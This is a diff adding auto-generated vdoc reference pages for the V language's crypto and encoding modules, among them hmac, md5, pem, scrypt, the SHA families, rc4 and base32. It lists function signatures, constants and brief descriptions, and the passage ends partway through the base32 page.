+public_key returns the []u8 corresponding to priv.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (priv PrivateKey) equal(x []u8) bool
+```
+
+currentyly x not `crypto.PrivateKey`
+
+[[Return to contents]](#Contents)
+
+## sign
+```v
+fn (priv PrivateKey) sign(message []u8) ![]u8
+```
+
+sign signs the given message with priv.
+
+[[Return to contents]](#Contents)
+
+## PublicKey
+```v
+type PublicKey = []u8
+```
+
+`PublicKey` is Ed25519 public keys.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (p PublicKey) equal(x []u8) bool
+```
+
+equal reports whether p and x have the same value.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/hmac.md

@@ -0,0 +1,28 @@
+# module hmac
+
+
+## Contents
+- [equal](#equal)
+- [new](#new)
+
+## equal
+```v
+fn equal(mac1 []u8, mac2 []u8) bool
+```
+
+equal compares 2 MACs for equality, without leaking timing info.
+
+Note: if the lengths of the 2 MACs are different, probably a completely different hash function was used to generate them => no useful timing information.
+
+[[Return to contents]](#Contents)
+
+## new
+```v
+fn new(key []u8, data []u8, hash_func fn ([]u8) []u8, blocksize int) []u8
+```
+
+new returns a HMAC byte array, depending on the hash algorithm used.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/md5.md

@@ -0,0 +1,123 @@
+# module md5
+
+
+## Contents
+- [Constants](#Constants)
+- [hexhash](#hexhash)
+- [new](#new)
+- [sum](#sum)
+- [Digest](#Digest)
+  - [free](#free)
+  - [reset](#reset)
+  - [write](#write)
+  - [sum](#sum)
+  - [size](#size)
+  - [block_size](#block_size)
+
+## Constants
+```v
+const size = 16
+```
+
+The size of an MD5 checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 64
+```
+
+The blocksize of MD5 in bytes.
+
+[[Return to contents]](#Contents)
+
+## hexhash
+```v
+fn hexhash(s string) string
+```
+
+hexhash returns a hexadecimal MD5 hash sum `string` of `s`.
+
+Example
+```v
+
+assert md5.hexhash('V') == '5206560a306a2e085a437fd258eb57ce'
+
+```
+
+[[Return to contents]](#Contents)
+
+## new
+```v
+fn new() &Digest
+```
+
+new returns a new Digest (implementing hash.Hash) computing the MD5 checksum.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn sum(data []u8) []u8
+```
+
+sum returns the MD5 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## free
+```v
+fn (mut d Digest) free()
+```
+
+free the resources taken by the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut d Digest) reset()
+```
+
+reset the state of the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(p_ []u8) !int
+```
+
+write writes the contents of `p_` to the internal hash representation.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn (d &Digest) sum(b_in []u8) []u8
+```
+
+sum returns the md5 sum of the bytes in `b_in`.
+
+[[Return to contents]](#Contents)
+
+## size
+```v
+fn (d &Digest) size() int
+```
+
+size returns the size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## block_size
+```v
+fn (d &Digest) block_size() int
+```
+
+block_size returns the block size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/pbkdf2.md

@@ -0,0 +1,16 @@
+# module pbkdf2
+
+
+## Contents
+- [key](#key)
+
+## key
+```v
+fn key(password []u8, salt []u8, count int, key_length int, h hash.Hash) ![]u8
+```
+
+key derives a key from the password, salt and iteration count example pbkdf2.key('test'.bytes(), '123456'.bytes(), 1000, 64, sha512.new())
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/pem.md

@@ -0,0 +1,137 @@
+# module pem
+
+
+## Contents
+- [decode](#decode)
+- [decode_only](#decode_only)
+- [Block.new](#Block.new)
+- [Header](#Header)
+  - [str](#str)
+- [Block](#Block)
+  - [encode](#encode)
+  - [free](#free)
+  - [header_by_key](#header_by_key)
+- [EncodeConfig](#EncodeConfig)
+
+## decode
+```v
+fn decode(data string) ?(Block, string)
+```
+
+decode reads `data` and returns the first parsed PEM Block along with the rest of the string. `none` is returned when a header is expected, but not present or when a start of '-----BEGIN' or end of '-----END' can't be found.
+
+use decode_only if you do not need the unparsed rest of the string.
+
+[[Return to contents]](#Contents)
+
+## decode_only
+```v
+fn decode_only(data string) ?Block
+```
+
+decode_only reads `data` and returns the first parsed PEM Block. `none` is returned when a header is expected, but not present or when a start of '-----BEGIN' or end of '-----END' can't be found.
+
+use decode if you still need the unparsed rest of the string.
+
+[[Return to contents]](#Contents)
+
+## Block.new
+```v
+fn Block.new(block_type string) Block
+```
+
+Block.new returns a new `Block` with the specified block_type
+
+[[Return to contents]](#Contents)
+
+## Header
+```v
+enum Header {
+	proctype
+	contentdomain
+	dekinfo
+	origid_asymm
+	origid_symm
+	recipid_asymm
+	recipid_symm
+	cert
+	issuercert
+	micinfo
+	keyinfo
+	crl
+}
+```
+
+Headers as described in RFC 1421 Section 9
+
+[[Return to contents]](#Contents)
+
+## str
+```v
+fn (header Header) str() string
+```
+
+str returns the string representation of the header
+
+[[Return to contents]](#Contents)
+
+## Block
+```v
+struct Block {
+pub mut:
+	// from preamble
+	block_type string
+	// optional headers
+	headers map[string][]string
+	// decoded contents
+	data []u8
+}
+```
+
+[[Return to contents]](#Contents)
+
+## encode
+```v
+fn (block Block) encode(config EncodeConfig) !string
+```
+
+encode encodes the given block into a string using the EncodeConfig. It returns an error if `block_type` is undefined or if a value in `headers` contains an invalid character ':'
+
+default EncodeConfig values wrap lines at 64 bytes and use '\n' for newlines
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (mut block Block) free()
+```
+
+free the resources taken by the Block `block`
+
+[[Return to contents]](#Contents)
+
+## header_by_key
+```v
+fn (block Block) header_by_key(key Header) []string
+```
+
+header_by_key returns the selected key using the Header enum
+
+same as `block.headers[key.str()]`
+
+[[Return to contents]](#Contents)
+
+## EncodeConfig
+```v
+struct EncodeConfig {
+pub mut:
+	// inner text wrap around
+	line_length int = 64
+	// line ending (alternatively '\r\n')
+	line_ending string = '\n'
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/rand.md

@@ -0,0 +1,60 @@
+# module rand
+
+
+## Contents
+- [bytes](#bytes)
+- [int_big](#int_big)
+- [int_u64](#int_u64)
+- [read](#read)
+- [ReadError](#ReadError)
+  - [msg](#msg)
+
+## bytes
+```v
+fn bytes(bytes_needed int) ![]u8
+```
+
+bytes returns an array of `bytes_needed` random bytes.
+
+Note: this call can block your program for a long period of time, if your system does not have access to enough entropy. See also rand.bytes(), if you do not need really random bytes, but instead pseudo random ones, from a pseudo random generator that can be seeded, and that is usually faster.
+
+[[Return to contents]](#Contents)
+
+## int_big
+```v
+fn int_big(n big.Integer) !big.Integer
+```
+
+int_big creates a random `big.Integer` with range [0, n) returns an error if `n` is 0 or negative.
+
+[[Return to contents]](#Contents)
+
+## int_u64
+```v
+fn int_u64(max u64) !u64
+```
+
+int_u64 returns a random unsigned 64-bit integer `u64` read from a real OS source of entropy.
+
+[[Return to contents]](#Contents)
+
+## read
+```v
+fn read(bytes_needed int) ![]u8
+```
+
+read returns an array of `bytes_needed` random bytes read from the OS.
+
+[[Return to contents]](#Contents)
+
+## ReadError
+## msg
+```v
+fn (err ReadError) msg() string
+```
+
+msg returns the error message.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/rc4.md

@@ -0,0 +1,50 @@
+# module rc4
+
+
+## Contents
+- [new_cipher](#new_cipher)
+- [Cipher](#Cipher)
+  - [free](#free)
+  - [reset](#reset)
+  - [xor_key_stream](#xor_key_stream)
+
+## new_cipher
+```v
+fn new_cipher(key []u8) !&Cipher
+```
+
+new_cipher creates and returns a new Cipher. The key argument should be the RC4 key, at least 1 byte and at most 256 bytes.
+
+[[Return to contents]](#Contents)
+
+## Cipher
+## free
+```v
+fn (mut c Cipher) free()
+```
+
+free the resources taken by the Cipher `c`
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut c Cipher) reset()
+```
+
+reset zeros the key data and makes the Cipher unusable.good to com
+
+Deprecated: Reset can't guarantee that the key will be entirely removed from the process's memory.
+
+[[Return to contents]](#Contents)
+
+## xor_key_stream
+```v
+fn (mut c Cipher) xor_key_stream(mut dst []u8, src []u8)
+```
+
+xor_key_stream sets dst to the result of XORing src with the key stream. Dst and src must overlap entirely or not at all.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/ripemd160.md

@@ -0,0 +1,88 @@
+# module ripemd160
+
+
+## Contents
+- [hexhash](#hexhash)
+- [new](#new)
+- [Digest](#Digest)
+  - [free](#free)
+  - [reset](#reset)
+  - [size](#size)
+  - [block_size](#block_size)
+  - [write](#write)
+  - [sum](#sum)
+
+## hexhash
+```v
+fn hexhash(s string) string
+```
+
+hexhash returns a hexadecimal RIPEMD-160 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## new
+```v
+fn new() &Digest
+```
+
+new returns a new Digest (implementing hash.Hash) computing the MD5 checksum.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## free
+```v
+fn (mut d Digest) free()
+```
+
+free the resources taken by the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut d Digest) reset()
+```
+
+reset the state of the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## size
+```v
+fn (d &Digest) size() int
+```
+
+size returns the size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## block_size
+```v
+fn (d &Digest) block_size() int
+```
+
+block_size returns the block size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(p_ []u8) !int
+```
+
+write writes the contents of `p_` to the internal hash representation.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn (d0 &Digest) sum(inp []u8) []u8
+```
+
+sum returns the RIPEMD-160 sum of the bytes in `inp`.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/scrypt.md

@@ -0,0 +1,36 @@
+# module scrypt
+
+
+## Contents
+- [Constants](#Constants)
+- [scrypt](#scrypt)
+
+## Constants
+```v
+const max_buffer_length = ((u64(1) << 32) - 1) * 32
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const max_blocksize_parallal_product = u64(1 << 30)
+```
+
+[[Return to contents]](#Contents)
+
+## scrypt
+```v
+fn scrypt(password []u8, salt []u8, n u64, r u32, p u32, dk_len u64) ![]u8
+```
+
+scrypt performs password based key derivation using the scrypt algorithm.
+
+The input parameters are:
+
+password - a slice of bytes which is the password being used to derive the key.  Don't leak this value to anybody. salt - a slice of bytes used to make it harder to crack the key. n - CPU/Memory cost parameter, must be larger than 0, a power of 2, and less than 2^(128 * r / 8). r - block size parameter. p - parallelization parameter, a positive integer less than or equal to ((2^32-1) * hLen) / MFLen where hLen is 32 and MFlen is 128 * r. dk_len - intended output length in octets of the derived key; a positive integer less than or equal to (2^32 - 1) * hLen where hLen is 32.
+
+Reasonable values for n, r, and p are n = 1024, r = 8, p = 16.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/sha1.md

@@ -0,0 +1,116 @@
+# module sha1
+
+
+## Contents
+- [Constants](#Constants)
+- [hexhash](#hexhash)
+- [new](#new)
+- [sum](#sum)
+- [Digest](#Digest)
+  - [free](#free)
+  - [reset](#reset)
+  - [write](#write)
+  - [sum](#sum)
+  - [size](#size)
+  - [block_size](#block_size)
+
+## Constants
+```v
+const size = 20
+```
+
+The size of a SHA-1 checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 64
+```
+
+The blocksize of SHA-1 in bytes.
+
+[[Return to contents]](#Contents)
+
+## hexhash
+```v
+fn hexhash(s string) string
+```
+
+hexhash returns a hexadecimal SHA1 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## new
+```v
+fn new() &Digest
+```
+
+new returns a new Digest (implementing hash.Hash) computing the SHA1 checksum.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn sum(data []u8) []u8
+```
+
+sum returns the SHA-1 checksum of the bytes passed in `data`.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## free
+```v
+fn (mut d Digest) free()
+```
+
+free the resources taken by the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut d Digest) reset()
+```
+
+reset the state of the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(p_ []u8) !int
+```
+
+write writes the contents of `p_` to the internal hash representation.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn (d &Digest) sum(b_in []u8) []u8
+```
+
+sum returns a copy of the generated sum of the bytes in `b_in`.
+
+[[Return to contents]](#Contents)
+
+## size
+```v
+fn (d &Digest) size() int
+```
+
+size returns the size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## block_size
+```v
+fn (d &Digest) block_size() int
+```
+
+block_size returns the block size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/sha256.md

@@ -0,0 +1,178 @@
+# module sha256
+
+
+## Contents
+- [Constants](#Constants)
+- [hexhash](#hexhash)
+- [hexhash_224](#hexhash_224)
+- [new](#new)
+- [new224](#new224)
+- [sum](#sum)
+- [sum224](#sum224)
+- [sum256](#sum256)
+- [Digest](#Digest)
+  - [free](#free)
+  - [reset](#reset)
+  - [write](#write)
+  - [sum](#sum)
+  - [size](#size)
+  - [block_size](#block_size)
+
+## Constants
+```v
+const size = 32
+```
+
+The size of a SHA256 checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+```v
+const size224 = 28
+```
+
+The size of a SHA224 checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 64
+```
+
+The blocksize of SHA256 and SHA224 in bytes.
+
+[[Return to contents]](#Contents)
+
+## hexhash
+```v
+fn hexhash(s string) string
+```
+
+hexhash returns a hexadecimal SHA256 hash sum `string` of `s`.
+
+Example
+```v
+
+assert sha256.hexhash('V') == 'de5a6f78116eca62d7fc5ce159d23ae6b889b365a1739ad2cf36f925a140d0cc'
+
+```
+
+[[Return to contents]](#Contents)
+
+## hexhash_224
+```v
+fn hexhash_224(s string) string
+```
+
+hexhash_224 returns a hexadecimal SHA224 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## new
+```v
+fn new() &Digest
+```
+
+new returns a new Digest (implementing hash.Hash) computing the SHA256 checksum.
+
+[[Return to contents]](#Contents)
+
+## new224
+```v
+fn new224() &Digest
+```
+
+new224 returns a new Digest (implementing hash.Hash) computing the SHA224 checksum.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn sum(data []u8) []u8
+```
+
+sum returns the SHA256 checksum of the bytes in `data`.
+
+Example
+```v
+
+assert sha256.sum('V'.bytes()).len > 0 == true
+
+```
+
+[[Return to contents]](#Contents)
+
+## sum224
+```v
+fn sum224(data []u8) []u8
+```
+
+sum224 returns the SHA224 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum256
+```v
+fn sum256(data []u8) []u8
+```
+
+sum256 returns the SHA256 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## free
+```v
+fn (mut d Digest) free()
+```
+
+free the resources taken by the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut d Digest) reset()
+```
+
+reset the state of the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(p_ []u8) !int
+```
+
+write writes the contents of `p_` to the internal hash representation.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn (d &Digest) sum(b_in []u8) []u8
+```
+
+sum returns the SHA256 or SHA224 checksum of digest with the data.
+
+[[Return to contents]](#Contents)
+
+## size
+```v
+fn (d &Digest) size() int
+```
+
+size returns the size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## block_size
+```v
+fn (d &Digest) block_size() int
+```
+
+block_size returns the block size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/sha3.md

@@ -0,0 +1,327 @@
+# module sha3
+
+
+## Contents
+- [Constants](#Constants)
+- [keccak256](#keccak256)
+- [keccak512](#keccak512)
+- [new128xof](#new128xof)
+- [new224](#new224)
+- [new256](#new256)
+- [new256keccak](#new256keccak)
+- [new256xof](#new256xof)
+- [new384](#new384)
+- [new512](#new512)
+- [new512keccak](#new512keccak)
+- [new_digest](#new_digest)
+- [new_xof_digest](#new_xof_digest)
+- [shake128](#shake128)
+- [shake256](#shake256)
+- [sum224](#sum224)
+- [sum256](#sum256)
+- [sum384](#sum384)
+- [sum512](#sum512)
+- [Digest](#Digest)
+  - [write](#write)
+  - [checksum](#checksum)
+- [Padding](#Padding)
+- [PaddingConfig](#PaddingConfig)
+
+## Constants
+```v
+const size_224 = 28
+```
+
+size_224 is the size, in bytes, of a sha3 sum224 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size_256 = 32
+```
+
+size_256 is the size, in bytes, of a sha3 sum256 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size_384 = 48
+```
+
+size_384 is the size, in bytes, of a sha3 sum384 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size_512 = 64
+```
+
+size_512 is the size, in bytes, of a sha3 sum512 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const rate_224 = 144
+```
+
+rate_224 is the rate, in bytes, absorbed into the sponge on every permutation
+
+[[Return to contents]](#Contents)
+
+```v
+const rate_256 = 136
+```
+
+rate_256 is the rate, in bytes, absorbed into the sponge on every permutation
+
+[[Return to contents]](#Contents)
+
+```v
+const rate_384 = 104
+```
+
+rate_384 is the rate, in bytes, absorbed into the sponge on every permutation
+
+[[Return to contents]](#Contents)
+
+```v
+const rate_512 = 72
+```
+
+rate_512 is the rate, in bytes, absorbed into the sponge on every permutation
+
+[[Return to contents]](#Contents)
+
+```v
+const xof_rate_128 = 168
+```
+
+xof_rate_128 is the capacity, in bytes, of a 128 bit extended output function sponge
+
+[[Return to contents]](#Contents)
+
+```v
+const xof_rate_256 = 136
+```
+
+xof_rate_256 is the capacity, in bytes, of a 256 bit extended output function sponge
+
+[[Return to contents]](#Contents)
+
+## keccak256
+```v
+fn keccak256(data []u8) []u8
+```
+
+keccak256 returns the keccak 256 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## keccak512
+```v
+fn keccak512(data []u8) []u8
+```
+
+keccak512 returns the keccak 512 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## new128xof
+```v
+fn new128xof(output_len int) !&Digest
+```
+
+new128_xof initializes the digest structure for a sha3 128 bit extended output function
+
+[[Return to contents]](#Contents)
+
+## new224
+```v
+fn new224() !&Digest
+```
+
+new224 initializes the digest structure for a sha3 224 bit hash
+
+[[Return to contents]](#Contents)
+
+## new256
+```v
+fn new256() !&Digest
+```
+
+new256 initializes the digest structure for a sha3 256 bit hash
+
+[[Return to contents]](#Contents)
+
+## new256keccak
+```v
+fn new256keccak() !&Digest
+```
+
+new256keccak initializes the digest structure for a keccak 256 bit hash
+
+[[Return to contents]](#Contents)
+
+## new256xof
+```v
+fn new256xof(output_len int) !&Digest
+```
+
+new256_xof initializes the digest structure for a sha3 256 bit extended output function
+
+[[Return to contents]](#Contents)
+
+## new384
+```v
+fn new384() !&Digest
+```
+
+new384 initializes the digest structure for a sha3 384 bit hash
+
+[[Return to contents]](#Contents)
+
+## new512
+```v
+fn new512() !&Digest
+```
+
+new512 initializes the digest structure for a sha3 512 bit hash
+
+[[Return to contents]](#Contents)
+
+## new512keccak
+```v
+fn new512keccak() !&Digest
+```
+
+new512keccak initializes the digest structure for a keccak 512 bit hash
+
+[[Return to contents]](#Contents)
+
+## new_digest
+```v
+fn new_digest(absorption_rate int, hash_size int, config PaddingConfig) !&Digest
+```
+
+new_digest creates an initialized digest structure based on the hash size.
+
+absorption_rate is the number of bytes to be absorbed into the sponge per permutation.
+
+hash_size - the number if bytes in the generated hash. Legal values are 224, 256, 384, and 512.
+
+config - the padding setting for hash generation. .sha3 should be used for FIPS PUB 202 compliant SHA3-224, SHA3-256, SHA3-384 and SHA3-512. Use .keccak if you want a legacy Keccak-224, Keccak-256, Keccak-384 or Keccak-512 algorithm. .xof is for extended output functions.
+
+[[Return to contents]](#Contents)
+
+## new_xof_digest
+```v
+fn new_xof_digest(absorption_rate int, hash_size int) !&Digest
+```
+
+new_xof_digest creates an initialized digest structure based on the absorption rate and how many bytes of output you need
+
+absorption_rate is the number of bytes to be absorbed into the sponge per permutation.  Legal values are xof_rate_128 and xof_rate_256.
+
+hash_size - the number if bytes in the generated hash. Legal values are positive integers.
+
+[[Return to contents]](#Contents)
+
+## shake128
+```v
+fn shake128(data []u8, output_len int) []u8
+```
+
+shake128 returns the sha3 shake128 bit extended output
+
+[[Return to contents]](#Contents)
+
+## shake256
+```v
+fn shake256(data []u8, output_len int) []u8
+```
+
+shake256 returns the sha3 shake256 bit extended output
+
+[[Return to contents]](#Contents)
+
+## sum224
+```v
+fn sum224(data []u8) []u8
+```
+
+sum224 returns the sha3 224 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum256
+```v
+fn sum256(data []u8) []u8
+```
+
+sum256 returns the sha3 256 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum384
+```v
+fn sum384(data []u8) []u8
+```
+
+sum384 returns the sha3 384 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum512
+```v
+fn sum512(data []u8) []u8
+```
+
+sum512 returns the sha3 512 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## write
+```v
+fn (mut d Digest) write(data []u8) !
+```
+
+write adds bytes to the sponge.
+
+This is the absorption phase of the computation.
+
+[[Return to contents]](#Contents)
+
+## checksum
+```v
+fn (mut d Digest) checksum() []u8
+```
+
+checksum finalizes the hash and returns the generated bytes.
+
+[[Return to contents]](#Contents)
+
+## Padding
+```v
+enum Padding as u8 {
+	keccak = 0x01
+	sha3   = 0x06
+	xof    = 0x1f
+}
+```
+
+the low order pad bits for a hash function
+
+[[Return to contents]](#Contents)
+
+## PaddingConfig
+```v
+struct PaddingConfig {
+pub:
+	padding Padding = .sha3
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/sha512.md

@@ -0,0 +1,230 @@
+# module sha512
+
+
+## Contents
+- [Constants](#Constants)
+- [hexhash](#hexhash)
+- [hexhash_384](#hexhash_384)
+- [hexhash_512_224](#hexhash_512_224)
+- [hexhash_512_256](#hexhash_512_256)
+- [new](#new)
+- [new384](#new384)
+- [new512_224](#new512_224)
+- [new512_256](#new512_256)
+- [sum384](#sum384)
+- [sum512](#sum512)
+- [sum512_224](#sum512_224)
+- [sum512_256](#sum512_256)
+- [Digest](#Digest)
+  - [free](#free)
+  - [reset](#reset)
+  - [write](#write)
+  - [sum](#sum)
+  - [size](#size)
+  - [block_size](#block_size)
+
+## Constants
+```v
+const size = 64
+```
+
+size is the size, in bytes, of a SHA-512 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size224 = 28
+```
+
+size224 is the size, in bytes, of a SHA-512/224 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size256 = 32
+```
+
+size256 is the size, in bytes, of a SHA-512/256 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size384 = 48
+```
+
+size384 is the size, in bytes, of a SHA-384 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 128
+```
+
+block_size is the block size, in bytes, of the SHA-512/224, SHA-512/256, SHA-384 and SHA-512 hash functions.
+
+[[Return to contents]](#Contents)
+
+## hexhash
+```v
+fn hexhash(s string) string
+```
+
+hexhash returns a hexadecimal SHA512 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## hexhash_384
+```v
+fn hexhash_384(s string) string
+```
+
+hexhash_384 returns a hexadecimal SHA384 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## hexhash_512_224
+```v
+fn hexhash_512_224(s string) string
+```
+
+hexhash_512_224 returns a hexadecimal SHA512/224 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## hexhash_512_256
+```v
+fn hexhash_512_256(s string) string
+```
+
+hexhash_512_256 returns a hexadecimal 512/256 hash sum `string` of `s`.
+
+[[Return to contents]](#Contents)
+
+## new
+```v
+fn new() &Digest
+```
+
+new returns a new Digest (implementing hash.Hash) computing the SHA-512 checksum.
+
+[[Return to contents]](#Contents)
+
+## new384
+```v
+fn new384() &Digest
+```
+
+new384 returns a new Digest (implementing hash.Hash) computing the SHA-384 checksum.
+
+[[Return to contents]](#Contents)
+
+## new512_224
+```v
+fn new512_224() &Digest
+```
+
+new512_224 returns a new Digest (implementing hash.Hash) computing the SHA-512/224 checksum.
+
+[[Return to contents]](#Contents)
+
+## new512_256
+```v
+fn new512_256() &Digest
+```
+
+new512_256 returns a new Digest (implementing hash.Hash) computing the SHA-512/256 checksum.
+
+[[Return to contents]](#Contents)
+
+## sum384
+```v
+fn sum384(data []u8) []u8
+```
+
+sum384 returns the SHA384 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum512
+```v
+fn sum512(data []u8) []u8
+```
+
+sum512 returns the SHA512 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum512_224
+```v
+fn sum512_224(data []u8) []u8
+```
+
+sum512_224 returns the Sum512/224 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum512_256
+```v
+fn sum512_256(data []u8) []u8
+```
+
+sum512_256 returns the Sum512/256 checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## free
+```v
+fn (mut d Digest) free()
+```
+
+free the resources taken by the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut d Digest) reset()
+```
+
+reset the state of the Digest `d`
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(p_ []u8) !int
+```
+
+write writes the contents of `p_` to the internal hash representation.
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn (d &Digest) sum(b_in []u8) []u8
+```
+
+sum returns the SHA512 or SHA384 checksum of digest with the data bytes in `b_in`
+
+[[Return to contents]](#Contents)
+
+## size
+```v
+fn (d &Digest) size() int
+```
+
+size returns the size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## block_size
+```v
+fn (d &Digest) block_size() int
+```
+
+block_size returns the block size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/encoding/base32.md

@@ -0,0 +1,184 @@
+# module base32
+
+
+## Contents
+- [Constants](#Constants)
+- [decode](#decode)
+- [decode_string_to_string](#decode_string_to_string)
+- [decode_to_string](#decode_to_string)
+- [encode](#encode)
+- [encode_string_to_string](#encode_string_to_string)
+- [encode_to_string](#encode_to_string)
+- [new_encoding](#new_encoding)
+- [new_encoding_with_padding](#new_encoding_with_padding)
+- [new_std_encoding](#new_std_encoding)
+- [new_std_encoding_with_padding](#new_std_encoding_with_padding)
+- [Encoding](#Encoding)
+  - [encode_to_string](#encode_to_string)
+  - [encode_string_to_string](#encode_string_to_string)
+  - [decode_string](#decode_string)
+  - [decode_string_to_string](#decode_string_to_string)
+  - [decode](#decode)
+
+## Constants
+```v
+const std_padding = `=` // Standard padding character
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const no_padding = u8(-1) // No padding
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const std_alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'.bytes()
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const hex_alphabet = '0123456789ABCDEFGHIJKLMNOPQRSTUV'.bytes()
+```
+
+[[Return to contents]](#Contents)
+
+## decode
+```v
+fn decode(src []u8) ![]u8
+```
+
+decode decodes a byte array `src` using Base32 and returns the decoded bytes or a `corrupt_input_error_msg` error.
+
+[[Return to contents]](#Contents)
+
+## decode_string_to_string
+```v
+fn decode_string_to_string(src string) !string
+```
+
+decode_string_to_string decodes a V string `src` using Base32 and returns the decoded string or a `corrupt_input_error_msg` error.
+
+[[Return to contents]](#Contents)
+
+## decode_to_string
+```v
+fn decode_to_string(src []u8) !string
+```
+
+decode_to_string decodes a byte array `src` using Base32 and returns the decoded string or a `corrupt_input_error_msg` error.
+
+[[Return to contents]](#Contents)
+
+## encode
+```v
+fn encode(src []u8) []u8
+```
+
+encode encodes a byte array `src` using Base32 and returns the encoded bytes.
+
+[[Return to contents]](#Contents)
+
+## encode_string_to_string
+```v
+fn encode_string_to_string(src string) string
+```
+
+encode_string_to_string encodes the V string `src` using Base32 and returns the encoded bytes as a V string.
+
+[[Return to contents]](#Contents)
+
+## encode_to_string
+```v
+fn encode_to_string(src []u8) string
+```
+
+encode_to_string encodes a byte array `src` using Base32 and returns the encoded bytes as a V string.
+
+[[Return to contents]](#Contents)
+
